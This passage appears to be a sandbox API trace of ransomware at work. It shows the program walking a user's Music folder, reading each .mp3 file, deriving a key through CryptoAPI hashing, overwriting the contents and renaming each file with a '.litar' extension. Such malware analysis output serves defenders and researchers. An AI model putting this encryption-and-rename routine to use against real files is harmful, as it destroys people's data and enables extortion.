dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.808] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.808] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.808] CloseHandle (hObject=0x624) returned 1 [0126.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.809] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0126.809] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.809] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\rqr FeHB_E8CueZs9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\fxgxmeyg6z\\rqr fehb_e8cuezs9.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\rqr FeHB_E8CueZs9.mp3.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\fxgxmeyg6z\\rqr fehb_e8cuezs9.mp3.litar")) returned 1 [0126.810] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.810] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.811] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.811] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69dc4940, ftCreationTime.dwHighDateTime=0x1d4d05c, ftLastAccessTime.dwLowDateTime=0xcd4d4b10, ftLastAccessTime.dwHighDateTime=0x1d4d26d, ftLastWriteTime.dwLowDateTime=0xcd4d4b10, ftLastWriteTime.dwHighDateTime=0x1d4d26d, nFileSizeHigh=0x0, nFileSizeLow=0x2ee6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VpT_TcidUDkQuxNiXW9.mp3", cAlternateFileName="VPT_TC~1.MP3")) returned 1 [0126.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.811] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.811] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.811] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\VpT_TcidUDkQuxNiXW9.mp3") returned=".mp3" [0126.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\VpT_TcidUDkQuxNiXW9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\fxgxmeyg6z\\vpt_tcidudkquxnixw9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.812] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=12006) returned 1 [0126.812] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.814] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2ec0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.814] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.815] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.815] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.815] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.815] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x2ee6, lpOverlapped=0x0) returned 1 [0126.816] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.816] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.816] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.816] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.816] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.816] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.816] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.817] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.817] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.817] GetLastError () returned 0x0 [0126.817] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.817] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2ef0) returned 0x30fa0b0 [0126.817] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.817] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x2ee1, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x2ee1, lpOverlapped=0x0) returned 1 [0126.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.817] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2ee6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.817] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.817] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.817] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.817] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.817] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.818] CloseHandle (hObject=0x624) returned 1 [0126.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.818] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0126.818] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.818] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\VpT_TcidUDkQuxNiXW9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\fxgxmeyg6z\\vpt_tcidudkquxnixw9.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\VpT_TcidUDkQuxNiXW9.mp3.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\fxgxmeyg6z\\vpt_tcidudkquxnixw9.mp3.litar")) returned 1 [0126.819] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.819] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.820] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69dc4940, ftCreationTime.dwHighDateTime=0x1d4d05c, ftLastAccessTime.dwLowDateTime=0xcd4d4b10, ftLastAccessTime.dwHighDateTime=0x1d4d26d, ftLastWriteTime.dwLowDateTime=0xcd4d4b10, ftLastWriteTime.dwHighDateTime=0x1d4d26d, nFileSizeHigh=0x0, nFileSizeLow=0x2ee6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VpT_TcidUDkQuxNiXW9.mp3", cAlternateFileName="VPT_TC~1.MP3")) returned 0 [0126.820] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.820] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.820] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.820] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.820] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.821] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.821] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.822] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.822] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.823] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.823] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, 